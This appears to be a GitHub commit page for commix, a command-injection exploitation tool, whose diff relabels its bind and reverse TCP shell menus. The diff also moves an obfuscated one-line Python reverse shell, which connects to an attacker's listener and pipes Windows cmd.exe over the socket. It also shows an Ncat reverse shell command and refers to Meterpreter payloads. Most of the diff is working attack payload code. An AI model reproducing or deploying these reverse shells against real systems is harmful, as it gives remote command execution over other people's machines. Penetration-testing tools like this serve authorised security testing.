Skip to content

Commit 5abb3be

Browse files
committed
Minor update
1 parent 8216c60 commit 5abb3be

File tree

3 files changed

+41
-42
lines changed

3 files changed

+41
-42
lines changed

src/core/shells/bind_tcp.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -264,14 +264,14 @@ def other_bind_shells(separator):
264264

265265
while True:
266266
other_shell = _input("""
267-
---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like bind TCP shells""" + Style.RESET_ALL + """ ]---
267+
---[ """ + Style.BRIGHT + Fore.BLUE + """Bind TCP shells""" + Style.RESET_ALL + """ ]---
268268
Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell.
269269
Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell.
270270
Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell.
271271
Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell.
272272
Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat bind TCP shell.
273273
Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell.
274-
\n---[ """ + Style.BRIGHT + Fore.BLUE + """Windows bind TCP shells""" + Style.RESET_ALL + """ ]---
274+
\n---[ """ + Style.BRIGHT + Fore.BLUE + """Meterpreter bind TCP shells""" + Style.RESET_ALL + """ ]---
275275
Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell.
276276
Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell.
277277
\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """)

src/core/shells/reverse_tcp.py

Lines changed: 38 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -302,17 +302,17 @@ def other_reverse_shells(separator):
302302

303303
while True:
304304
other_shell = _input("""
305-
---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like reverse TCP shells""" + Style.RESET_ALL + """ ]---
305+
---[ """ + Style.BRIGHT + Fore.BLUE + """Reverse TCP shells""" + Style.RESET_ALL + """ ]---
306306
Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell.
307307
Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell.
308308
Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell.
309309
Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell.
310310
Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat reverse TCP shell.
311311
Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Bash reverse TCP shell.
312312
Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a Ncat reverse TCP shell.
313-
\n---[ """ + Style.BRIGHT + Fore.BLUE + """Windows reverse TCP shells""" + Style.RESET_ALL + """ ]---
314-
Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell.
315-
Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a Python reverse TCP shell.
313+
Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Windows Python reverse TCP shell.
314+
\n---[ """ + Style.BRIGHT + Fore.BLUE + """Meterpreter reverse TCP shells""" + Style.RESET_ALL + """ ]---
315+
Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell.
316316
Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell.
317317
Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a Windows meterpreter reverse TCP shell.
318318
Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script.
@@ -378,8 +378,41 @@ def other_reverse_shells(separator):
378378
other_shell = "ncat " + settings.LHOST + " " + settings.LPORT + " -e /bin/sh"
379379
break
380380

381-
# PHP-reverse-shell (meterpreter)
381+
# Windows Python-reverse-shell
382382
elif other_shell == '8':
383+
data = " -c \"(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings.LHOST + "', " + settings.LPORT + ")), " \
384+
"[[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), " \
385+
" __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), " \
386+
" {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: " \
387+
" __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: " \
388+
" after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, " \
389+
" __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] " \
390+
"for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] " \
391+
"for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] " \
392+
"for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], " \
393+
" stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] " \
394+
"in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in " \
395+
"[(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] " \
396+
"if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] " \
397+
"for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: " \
398+
"[(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) " \
399+
"for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) " \
400+
"for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] " \
401+
"for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] " \
402+
"for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \
403+
"globals(), __import__('contextlib'))\""
404+
405+
if not settings.TARGET_OS == "win":
406+
windows_only_attack_vector()
407+
continue
408+
else:
409+
if not settings.USER_DEFINED_PYTHON_DIR:
410+
set_python_working_dir()
411+
other_shell = settings.WIN_PYTHON_DIR + data
412+
break
413+
414+
# PHP-reverse-shell (meterpreter)
415+
elif other_shell == '9':
383416
if not os.path.exists(settings.METASPLOIT_PATH):
384417
error_msg = settings.METASPLOIT_ERROR_MSG
385418
print(settings.print_error_msg(error_msg))
@@ -421,40 +454,6 @@ def other_reverse_shells(separator):
421454
print(settings.SINGLE_WHITESPACE)
422455
break
423456

424-
# Python-reverse-shell
425-
elif other_shell == '9':
426-
data = " -c \"(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings.LHOST + "', " + settings.LPORT + ")), " \
427-
"[[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), " \
428-
" __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), " \
429-
" {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: " \
430-
" __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: " \
431-
" after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, " \
432-
" __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] " \
433-
"for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] " \
434-
"for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] " \
435-
"for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], " \
436-
" stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] " \
437-
"in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in " \
438-
"[(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] " \
439-
"if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] " \
440-
"for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: " \
441-
"[(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) " \
442-
"for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) " \
443-
"for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] " \
444-
"for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] " \
445-
"for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \
446-
"globals(), __import__('contextlib'))\""
447-
448-
if settings.TARGET_OS == "win":
449-
if not settings.USER_DEFINED_PYTHON_DIR:
450-
set_python_working_dir()
451-
other_shell = settings.WIN_PYTHON_DIR + data
452-
else:
453-
if not settings.USER_DEFINED_PYTHON_INTERPRETER:
454-
set_python_interpreter()
455-
other_shell = settings.LINUX_PYTHON_INTERPRETER + data
456-
break
457-
458457
# Python-reverse-shell (meterpreter)
459458
elif other_shell == '10':
460459
if not os.path.exists(settings.METASPLOIT_PATH):

src/utils/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -216,7 +216,7 @@ def sys_argv_errors():
216216
DESCRIPTION = "The command injection exploiter"
217217
AUTHOR = "Anastasios Stasinopoulos"
218218
VERSION_NUM = "3.3"
219-
REVISION = "47"
219+
REVISION = "48"
220220
STABLE_RELEASE = False
221221
if STABLE_RELEASE:
222222
VERSION = "v" + VERSION_NUM + "-stable"

0 commit comments

Comments
 (0)